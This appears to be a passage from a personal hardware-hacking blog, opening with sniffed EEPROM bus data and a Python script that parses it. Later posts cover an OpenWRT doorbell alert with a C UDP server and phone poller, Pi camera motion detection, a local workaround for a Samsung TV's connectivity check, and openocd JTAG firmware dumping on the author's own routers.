x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x20-][0x
A1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-][0xA1+0x2D-][0xA1+0x00-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0xA1+0x00-][0xA1+0x36-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x34-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA10x[0x0x0x0
x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0
x][0xA0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x][0xA0x0x[00x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0xA0+0x0x0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x00x0x]0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x00x0x]0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[00x][0xA0+0x0F+0x8C+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x01-][0xA1+0x01-][0xA1+0x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0x
A1+0x00-][0xA1+0x00-][0xA1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-
][0xA1+0x07-][0xA1+0x05-][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0
x00-][0xA1+0x07-][0xA1+0x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0x
A1+0x00-][0xA1+0x04-][0xA1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0
x52-][0xA1+0x00-][0xA1+0x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0x
A1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-
][0xA1+0x2D-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0
x20-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0x
A1+0x00-][0xA1+0x36-][0xA1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x31-][0xA1+0x00-][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0
x34-][0xA1+0x00-][0xA1+0x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x01-][0xA1+0x10-][0xA1+0x01-][0xA1+0x00-][0xA1+0x00-
][0xA1+0x00-][0xA1+0x08-][0xA1+0xCE-][0xA1+0x04-][0xA1+0x02-][0xA1+0x00-][0xA1+0
x76-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0x02-][0xA1+0x01-][0xA1+0xFF-][0x
A1+0xFF-][0xA0+0x0F+0x8C+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x01-][0xA1+0x01-][0xA1+0x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0x
A1+0x00-][0xA1+0x00-][0xA1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-
][0xA1+0x07-][0xA1+0x05-][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0
x00-][0xA1+0x07-][0xA1+0x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0x
A1+0x00-][0xA1+0x04-][0xA1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0
x52-][0xA1+0x00-][0xA1+0x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0x
A1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-
][0xA1+0x2D-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0
x20-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0x
A1+0x00-][0xA1+0x36-][0xA1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x31-][0xA1+0x00-][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0
x34-][0xA1+0x00-][0xA1+0x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x01-][0xA1+0x10-][0xA1+0x01-][0xA1+0x00-][0xA1+0x00-
][0xA1+0x00-][0xA1+0x08-][0xA1+0xCE-][0xA1+0x04-][0xA1+0x02-][0xA1+0x00-][0xA1+0
x76-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0x02-][0xA1+0x01-][0xA1+0xFF-][0x
A1+0xFF-]['''

import re
import struct
transactions = re.findall(r'[(0x.{2}.*?)]?[', sniffed)

f = open('sniffed_24LC64.bin', 'wb')

for tx in transactions:
  tx = tx.split(']')[0]

  #first byte is the command
  if tx.startswith('0xA0+'):
    # 'BYTE WRITE'
    
    # next two bytes in this transaction set the memory location
    # this is used even when reading..
    bytes = tx.split('+')

    high = int(bytes[1], 16)
    low = int(bytes[2], 16)
    address = (high << 8) | low

    print
    print '0x%04x' % address,
    #seek to address in output file
    f.seek(address)
   
  elif tx.startswith('0xA1+'):
    # 'BYTE READ'
    # next byte is data to be written at the address location, inc the address location
    bytes = tx.split('+')
    data = int(bytes[1][:-1], 16)

    print hex(data),
    address = address + 1
    #write data byte to output file
    f.write(struct.pack('B', data))
  

reverse engineering|
doorbell to real time android alert 7 Jul 2014

With the doorbell physical hardware interface working reliably, I just needed to connect up some software to send an alert to my phone. Initially I thought I'd avoid having to write any notification code by leaning on something in the cloud; I found Server Push Notifications that has a free/lite android app and has simple URL based API - this is important as although we have a full OS on the DG834v4, it has only 16MB RAM; with only about 800K free. The hotplugd system on openwrt can run arbitrary scripts on button presses and was configured to call wget with the appropriate URL to generate the notification. This worked well in testing but in real use, the latency of the notification going out to the internet, being processed somewhere and then coming back again meant I still sometimes missed the door.

To reduce the latency I decided all network traffic should be local-only. A few months ago, at work I wrote some UDP broadcast P2P-discovery code; broadcast traffic is link-local and UDP is very lightweight - this seemed ideal: broadcast packets could be generated on the DG384v4 using socat and some sl4a+python code running on my phone could simply listen for them. Again early testing indicated success, but as soon as the phone's screen switched off and it went into sleep, the network stack just stopped passing the broadcast traffic to the python code. It seems obvious now that this would happen, keeping the networking running on the off chance of receiving a broadcast is pretty wasteful from a power/battery point-of-view.

Making the phone poll is a much better idea; the phone can wake up, check the doorbell and go back to sleep again. Polling once every few seconds shouldn't have a measurable impact on battery life, the phone will likely be waking up at least that often to service one of the many long running processes it already has to deal with.

If the phone is now polling, rather than listening for the doorbell notification, the state will need to be remembered for a short time to ensure that the phone has seen it. Implemented in a simple UDP server, is a latch-like mechanism where normally, when polled it'll return a false response unless it has been triggered, where it'll return a true for a short time instead.

I verified that the phone continued to poll while asleep and although it does slow the rate down to around once per minute when doing nothing, most importantly it polls at the correct rate when playing music - which is the time I need it most :)

The UDP server has been coded in C to keep the memory footprint small, so it can be run directly on the memory-squeezed DG834v4. The original proof-of-concept was written in python, running on my desktop machine; it's memory usage weighed in at around 6MB, the C version is around 400K. Neither code base has been optimised at all however.

To compile, you'll need to download and build the openwrt toolchain. First, clone the git repo:

git clone git://git.openwrt.org/openwrt.git
  

Then use the menu system to select your architecture:

make menuconfig
  

And to just build the toolchain:

make prepare
  

Next we need to set the 'STAGING_DIR' environment variable - the actual directory will vary depending on the architecture, gcc version etc:

STAGING_DIR=/full/path/to/openwrt/staging_dir/toolchain-mips_mips32_gcc-4.8-linaro_uClibc-0.9.33.2/
export STAGING_DIR
  

And finally to actually do the compile (again - will vary on arch/versions):

/full/path/to/openwrt/staging_dir/toolchain-mips_mips32_gcc-4.8-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux-gcc udp-doorbell-server.c -o udp-doorbell-server
  

Here's the C source (udp-doorbell-server.c):

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <signal.h>

time_t last = 0;

void sig_handler(int signo){
  if (signo == SIGUSR1) {
    printf("received SIGUSR1\n");
    last = time(NULL);
  }
}

int main(int argc, char**argv){
  if (signal(SIGUSR1, sig_handler) == SIG_ERR){
    printf("\ncan't catch SIGUSR1\n");
  }

  int sockfd,n;
  struct sockaddr_in servaddr,cliaddr;
  socklen_t len;
  char mesg[1000];

  sockfd=socket(AF_INET,SOCK_DGRAM,0);

  bzero(&servaddr,sizeof(servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
  servaddr.sin_port=htons(32000);
  bind(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr));

  for (;;){
    len = sizeof(cliaddr);

    n = recvfrom(sockfd, mesg, 1, 0, (struct sockaddr *)&cliaddr,&len);
    
    char result = '0';
    time_t now = time(NULL);
    if((int)now-30 < (int)last){
      result = '1';
    }
    
    printf("now: %d,\tlast: %d\n", (int)now, (int)last);
    printf("result: %c\n", result);

    sendto(sockfd, &result, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
  }
}
  

It listens on port 32000 and is triggered by a SIGUSR1 signal - it'll remain in the triggered state for 30 seconds; in the hotplugd button config is this:

killall -USR1 udp-doorbell-server
  

Last but not least is the SL4A/Python code that runs on the phone:

import android
import time
import socket


default_soundfile = '/system/media/audio/notifications/S_Good_News.ogg'
doorbell_net = '"WIRELESS"'
doorbell_server = ('192.168.1.250', 32000)

device = None # running locally or via adb

def alert(msg, title='ALERT!', soundfile=default_soundfile, silent=False):
  droid.vibrate(2000)
  droid.makeToast('%s %s' % (title,msg))
  droid.notify(title, msg)
  
  if silent is False:
    droid.mediaPlay(soundfile, soundfile)
    while droid.mediaIsPlaying(soundfile) is True:
      time.sleep(0.1)
  
droid = android.Android(device)
alert("starting", title="startup", silent=True)

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(1)
c = doorbell_server
while True:

  try:
  
    network = droid.wifiGetConnectionInfo()[1]['ssid']
    if network == doorbell_net:
      
      s.connect(c)
      s.sendto('0', c)
      data = s.recv(1)
      print "d:", data
      
      d = int(data)
      if d == 1:
        alert("Door bell")

  except socket.error as e:
    print "e: %s" % e
  
  time.sleep(5)
  

It'll only try and poll when the phone is connected to the 'WIRELESS' network; if it is, and it detects the trigger it'll make the phone run a of bunch alerts (vibrate/toast/notify/play media) - you'll likely need to change default_soundfile, doorbell_net and doorbell_server to match your environment.

Hopefully I won't miss any more parcels now :)

doorbell|
simple ac doorbell to gpio interface 6 Jul 2014

I keep missing packages being delivered - I've usually got headphones on when I'm coding. I listen to music from my phone, so if I can generate a real-time alert when someone is at the door, that should solve the problem.

The door bell is just an electromagnet and an 10 volt, AC power supply; when the button is pressed it completes the circuit and the electromagnet pushes a small bar of metal to strike the chimes. I didn't want to modify the doorbell or make it dependent on other electronics so I've patched a simple circuit on to the electromagnet; an integrated rectifier and PNP transistor. The transistor pushes a line to ground when the AC voltage (the two white crocodile clips; tapped from the electromagnet) is applied to rectifier. (This is probably less than optimal, but it works from parts I had to hand.)

The line is patched onto the reset button of an old Netgear DG834v4 running OpenWRT, where hotplugd sees it as a GPIO button and can easily be configured to run any script when the 'button' is clicked.

doorbell|
picam motion detection and overlaying timestamps 4 May 2014

I wanted to add timestamps to the video that's captured while using my picam, opencv-based motion detection application. The easiest way would probably be to read and modify every frame in userspace on the Pi, before letting the GPU encode it to h264, however I'd like to keep frame rates as high as possible - so would rather the Pi did the minimum amount of work it needs to do. I only really need the frame number and a timestamp and some way to merge them with the video.

The MMAL API for the Pi's camera has a bunch of flags in the 'buffer header' objects that get passed around as the image data flows from component to component. By counting the instances of one of these - MMAL_BUFFER_HEADER_FLAG_FRAME_END - you can track frame numbers. I've modified the code to emit the frame number and an epoch timestamp when motion is detected. To prevent it from producing hundreds of these events, it only emits when another flag: MMAL_BUFFER_HEADER_FLAG_KEYFRAME - is set at the start of a keyframe. This pegs the rate a the keyframe rate; every two seconds. An example keyframe event looks like this in the logs:

  KEYFRAME (1397291533:1)
  

The logs are written to stderr and the h264 video stream is written to stdout. To record them both, the app is run like this:

  ./mmal_opencv_modect > video.h264 2> video.log
  

As it turns out the h264 file it spits out is less than perfect, some things play it at a high frame rate and some things don't play it at all. To clean it up I've been pushing it through ffmpeg to create a nice avi:

  ./ffmpeg -r 30 -i video.h264 -q:v 1 -r 30 video.avi
  

This step doesn't need to happen on the pi, and can be offloaded to faster machine - and while we're post processing we may as well be adding timestamp overlays too :) Initially I tried to use ffmpeg's 'drawtext' filter and to start with it looked promising; it has expressions so that text strings can be positioned across exact frame ranges. Unfortunately each of these are specified individually on the command line and more than a thousand exceeds the maximum command line length - at least here on my machine.

Instead I've written a python script that can take the log output from mmal_opencv_modect and convert it into a MicroDVD subtitle file. The MicroDVD format uses frame numbers, so is easy to translate from the keyframe events in the logs. The epoch timestamp is also converted to something a little more human friendly. The script is run like this:

  ./scripts/modect2sub.py video.log > video.sub
  

Now we have the subtitle file it just needs to be merged with the h264 stream. Using ffmpeg, compiled with libass support:

  ./ffmpeg -r 30 -i video.h264  -vf "subtitles=video.sub" -q:v 1 -r 30 video.avi
  

Github repo can be found here.

birdcam|rpi|
spoofing the samsung smart tv internet check 20 Apr 2014

So it looks like Samsung is offline this morning. This shouldn't bother me - I don't work for them and their network isn't my problem. However it turns out that my Samsung Smart TV thinks there's no internet if there's no www.samsung.com :( - using tcpdump I started looking at what the TV was trying to contact when I pressed the 'Retry' button in the the network settings; this is what the DNS requests/replies to/from the TV look like:

ethertype IPv4 (0x0800), length 75: 192.168.1.110.52284 > 192.168.1.252.53: 58569+ A? www.samsung.com. (33)
ethertype IPv4 (0x0800), length 79: 192.168.1.252.53 > 192.168.1.110.59998: 27816 ServFail 0/0/0 (37)  
  

I was hoping it was just using a DNS ping, so I overrode the DNS and pointed it to 127.0.0.1 and tried again. That didn't work so I pointed it at one of my web servers, thinking that it might just be a tcp connect on port 80. That didn't work either - but now I had the HTTP headers, so now I had the file and path too:

	0x0000:  4500 0092 a9c2 4000 4006 0ce1 c0a8 016e  E.....@.@......n
	0x0010:  c0a8 0104 baf8 0050 12e0 4833 7964 7769  .......P..H3ydwi
	0x0020:  8018 01c9 b33f 0000 0101 080a 0000 e1f3  .....?..........
	0x0030:  a764 4edc 4745 5420 2f67 6c6f 6261 6c2f  .dN.GET./global/
	0x0040:  7072 6f64 7563 7473 2f74 762f 696e 666f  products/tv/info
	0x0050:  6c69 6e6b 2f75 732e 786d 6c20 4854 5450  link/us.xml.HTTP
	0x0060:  2f31 2e31 0d0a 486f 7374 3a20 7777 772e  /1.1..Host:.www.
	0x0070:  7361 6d73 756e 672e 636f 6d0d 0a43 6f6e  samsung.com..Con
	0x0080:  6e65 6374 696f 6e3a 2063 6c6f 7365 0d0a  nection:.close..
	0x0090:  0d0a                                     ..  
  

I added a vhost for www.samsung.com, mkdir'd the "global/products/tv/infolink" path and touched "us.xml" and clicked retry again - still no dice :( . Concluding it needed a valid XML file I turned to Google, who had thankfully cached a copy - here it is again, in case you need it:

<?xml version="1.0" encoding="utf-8"?>
<urlinfo>
<icon>http://www.usatoday.com/repurposing/samsung/usat-logo-54x22.png</icon>
<weather>
<item>
<title>current</title>
<url>http://content.usatoday.com/repurposing/samsung/weather-data.ashx?type=c&amp;zip=</url>
</item>
<item>
<title>forecast</title>
<url>http://content.usatoday.com/repurposing/samsung/weather-data.ashx?type=f&amp;zip=</url>
</item>
</weather>
<news>
<item>
<title>News</title>
  <icon>http://www.usatoday.com/repurposing/samsung/news.png</icon>
<url>http://content.usatoday.com/repurposing/samsung/story-data.ashx?type=topnews</url>
</item>
<item>
<title>Money</title>
  <icon>http://www.usatoday.com/repurposing/samsung/money.png</icon>
<url>http://content.usatoday.com/repurposing/samsung/story-data.ashx?type=business</url>
</item>
<item>
<title>Politics</title>
  <icon>http://www.usatoday.com/repurposing/samsung/politics.png</icon>
<url>http://content.usatoday.com/repurposing/samsung/story-data.ashx?type=politics</url>
</item>
<item>
<title>Life</title>
  <icon>http://www.usatoday.com/repurposing/samsung/life.png</icon>
<url>http://content.usatoday.com/repurposing/samsung/story-data.ashx?type=entertainment</url>
</item>
<item>
<title>Sports</title>
  <icon>http://www.usatoday.com/repurposing/samsung/sports.png</icon>
<url>http://content.usatoday.com/repurposing/samsung/story-data.ashx?type=sports</url>
</item>
<item>
<title>World</title>
  <icon>http://www.usatoday.com/repurposing/samsung/world.png</icon>
<url>http://content.usatoday.com/repurposing/samsung/story-data.ashx?type=world</url>
</item>
</news>
<stock>
 <index>  
   <item>
     <title>Dow</title>
      <url>http://content.usatoday.com/repurposing/samsung/markets-data.ashx?type=index&amp;sym=I:DJI</url>
   </item>
   <item>
     <title>nasdaq</title>
      <url>http://content.usatoday.com/repurposing/samsung/markets-data.ashx?type=index&amp;sym=I:COMP</url>
   </item>
   <item>
     <title>s&amp;p</title>
      <url>http://content.usatoday.com/repurposing/samsung/markets-data.ashx?type=index&amp;sym=INX</url>
   </item>
 </index>	
 <market>   
  <item> 
   <title>NYSE</title>
   <url>http://content.usatoday.com/repurposing/samsung/markets-data.ashx?type=simple&amp;exch=NYSE&amp;range=a-z</url>
  </item>
  <item>
  <title>NASDAQ</title>
   <url>http://content.usatoday.com/repurposing/samsung/markets-data.ashx?type=simple&amp;exch=NASDAQ&amp;range=a-z</url>
  </item>
 </market>
 <code>
  <title>code</title>
  <url>http://content.usatoday.com/repurposing/samsung/markets-data.ashx?type=stock</url>
  </code>
 <marketindex>
  <item>
   <start>A</start>
   <end>B</end>
  </item>
  <item>
   <start>C</start>
   <end>E</end>
  </item>
  <item>
   <start>F</start>
   <end>H</end>
  </item>
  <item>
   <start>I</start>
   <end>K</end>
  </item>
  <item>
   <start>L</start>
   <end>N</end>
  </item>
  <item>
   <start>O</start>
   <end>Q</end>
  </item>
  <item>
   <start>R</start>
   <end>T</end>
  </item>
  <item>
   <start>U</start>
   <end>W</end>
  </item>
  <item>
   <start>X</start>
   <end>Z</end>
  </item>
 </marketindex>
 <cp>Interactive Data</cp>
 </stock>
 <stocknews>1</stocknews>
</urlinfo>  
  

After poking that into us.xml the TV decided it could see the internet again. Most importantly Netflix works again ;)

reverse engineering|
jtag flashing and dumping with openocd 0.8.0 12 Apr 2014

A few weeks ago, Paul Fertser (one of the the openocd devs) mailed me to say that he had seen my post on using openocd and a buspirate to flash and dump bcm6348 boards and had written a firmware recovery script to make the process much simpler. A flash/dump can now be achieved in a single command line; here's how to show the help text:

  openocd -f tools/firmware-recovery.tcl -c firmware_help
  

And the output:

lee@monkeybox ~/Downloads/openocd/openocd $ openocd -f tools/firmware-recovery.tcl -c firmware_help
Open On-Chip Debugger 0.8.0-rc1-dev-00439-ga719779-dirty (2014-04-06-12:11)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.sourceforge.net/doc/doxygen/bugs.html


Firmware recovery helpers
Use -c firmware_help to get help

adapter speed: 1000 kHz


Your OpenOCD command should look like this:
openocd -f interface/<jtag adapter>.cfg -f tools/firmware-recovery.tcl -c "<commands>*; shutdown"

Where:
<jtag adapter> is one of the supported devices, e.g. ftdi/jtagkey2
<commands> are firmware-recovery commands separated by semicolon

Supported commands:
firmware_help			get this help
list_boards			list known boards and exit
board <name>			select board you work with
list_partitions			list partitions of the currently selected board
dump_part <name> <filename>	save partition's contents to a file
erase_part <name>		erase the given partition
flash_part <name> <filename>	erase, flash and verify the given partition
ram_boot <filename>		load binary file to RAM and run it
adapter_khz <freq>		set JTAG clock frequency in kHz

For example, to clear nvram and reflash CFE on an RT-N16 using TUMPA, run:
openocd -f interface/ftdi/tumpa.cfg -f tools/firmware-recovery.tcl \
	-c "board asus-rt-n16; erase_part nvram; flash_part CFE cfe-n16.bin; shutdown"



shutdown command invoked
Error: Debug Adapter has to be specified, see "interface" command
in procedure 'init'  
  

The script supports a handful of commands, that are specified using '-c' and that can be chained together by separating them with semi-colons and wrapping the whole string in quotes ("command1; command2; etc"). A list of supported boards can be seen like this:

lee@monkeybox ~/Downloads/openocd/openocd $ openocd -f tools/firmware-recovery.tcl -c list_boards
Open On-Chip Debugger 0.8.0-rc1-dev-00439-ga719779-dirty (2014-04-06-12:11)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.sourceforge.net/doc/doxygen/bugs.html


Firmware recovery helpers
Use -c firmware_help to get help

adapter speed: 1000 kHz

List of the supported boards:

Board name		Description
-----------------------------------
asus-rt-n16		ASUS RT-N16
linksys-wrt54gl		Linksys WRT54GL v1.1
netgear-dg834v3		Netgear DG834G v3
bt-homehubv1		BT HomeHub v1



Error: Debug Adapter has to be specified, see "interface" command
in procedure 'init'  
  

Two commands are chained together ("board bt-homehubv1; list_partitions") to select the BT Homehub and list it's partitions (I've included the busblaster interface config - change as fit for your programmer):

lee@monkeybox ~/Downloads/openocd/openocd $ openocd -f interface/busblaster.cfg -f \ 
tools/firmware-recovery.tcl -c "board bt-homehubv1; list_partitions"
Open On-Chip Debugger 0.8.0-rc1-dev-00439-ga719779-dirty (2014-04-06-12:11)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.sourceforge.net/doc/doxygen/bugs.html
Info : only one transport option; autoselect 'jtag'


Firmware recovery helpers
Use -c firmware_help to get help

adapter speed: 1000 kHz


The currently selected board is known to have these partitions:

Name            Start         Size          Description
-------------------------------------------------------
CFE             0xbe400000    0x00020000    Bootloader
firmware        0xbe420000    0x007D0000    Kernel+rootfs
fisdir          0xbebf0000    0x0000f000    FIS Directory
nvram           0xbebff000    0x00001000    Config space



Warn : Using DEPRECATED interface driver 'ft2232'
Info : Consider using the 'ftdi' interface driver, with configuration files in interface/ftdi/...
Error: unable to open ftdi device: device not found
in procedure 'init'  
  

And finally, dumping the CFE bootloader (already flashed with redboot on my HomeHubv1):

lee@monkeybox ~/Downloads/openocd/openocd $ time sudo openocd -f interface/busblaster.cfg -f \ 
tools/firmware-recovery.tcl -c "board bt-homehubv1;dump_part CFE redboot.fwrecovery.test.bin; shutdown"
Open On-Chip Debugger 0.8.0-rc1-dev-00439-ga719779-dirty (2014-04-06-12:11)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.sourceforge.net/doc/doxygen/bugs.html
Info : only one transport option; autoselect 'jtag'


Firmware recovery helpers
Use -c firmware_help to get help

adapter speed: 1000 kHz

Warn : Using DEPRECATED interface driver 'ft2232'
Info : Consider using the 'ftdi' interface driver, with configuration files in interface/ftdi/...
Info : max TCK change to: 30000 kHz
Info : clock speed 1000 kHz
Info : JTAG tap: bcm6348.cpu tap/device found: 0x0634817f (mfg: 0x0bf, part: 0x6348, ver: 0x0)
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x9e40a4b0
Info : JTAG tap: bcm6348.cpu tap/device found: 0x0634817f (mfg: 0x0bf, part: 0x6348, ver: 0x0)
Error: Error writing unexpected address 0xff202004
target state: halted
target halted in MIPS32 mode due to debug-request, pc: 0x9e40a4b0
dumped 131072 bytes in 668.114136s (0.192 KiB/s)
shutdown command invoked

real	11m9.933s
user	0m6.680s
sys	0m13.300s
  

Board config files are pretty straight forward, just defining how the target, the flash and how the flash has been carved up (usually can be extracted from the bootloader):

#
# BT HomeHub v1
# 

set partition_list {
    CFE       { Bootloader        0xbe400000 0x00020000 }
    firmware  { "Kernel+rootfs"   0xbe420000 0x007D0000 }
    fisdir    { "FIS Directory"   0xbebf0000 0x0000f000 }
    nvram     { "Config space"    0xbebff000 0x00001000 }
}

source [find target/bcm6348.cfg]

set _FLASHNAME $_CHIPNAME.norflash
flash bank $_FLASHNAME cfi 0xbe400000 0x00800000 2 2 $_TARGETNAME  
  

The recovery script will be included in the 0.8.0 release and hopefully my patches for the bcm6348 target and the Home Hub will be too :)

bcm6348|jtag|
raspberrypi camera with opencv motion detection and recording 2 Apr 2014

I've just pushed some code for the raspberry pi and it's camera - based on tasanakorn's work - up to github that uses some very simple OpenCV to do background subtraction and then detect movement. When it detects motion, the camera image data is sent on to the h264 encoder in the VideoCore and the h264 stream is written to stdout. The detection and encoding happen in different threads, so that even though we can't do motion detection at full frame rate, that doesn't affect the recording frame rate. Here's some frame rates and CPU utilisation numbers taken at various camera modes (incl. the new 640x480 at 90 FPS!):

 720p30 : OpenCV = 15.05, Video = 30.51, ~60% CPU
1080p30 : OpenCV = 14.90, Video = 30.02, ~75% CPU
 VGAp90 : OpenCV = 21.57, Video = 91.12, ~90% CPU
  

To build, follow the README instructions in the github repo. Once it's built you can run it like this:

  ./mmal_opencv_modect > video.h264
  

I'm hoping to use some more raspberry pi's (and camera modules) to replace the analogue system we're currently using for birdcam. The resolution is much higher and the 90 FPS mode should show the very fast movement of some of the smaller birds. The pi based system should be more distributed and scalable than the current system too.

birdcam|rpi|
robot vacuum xr dock ir codes 28 Feb 2014

Following on from my earlier work emulating the Roomba-style virtual walls I thought I'd take a look at the IR codes used by my robot vacuum XR's dock. The dock is a charging station that the vacuum looks for when it's battery is low. Both the dock and the vacuum have a pair of metal contacts on the front; the vacuum just drives into the dock until it detects the charging voltage.

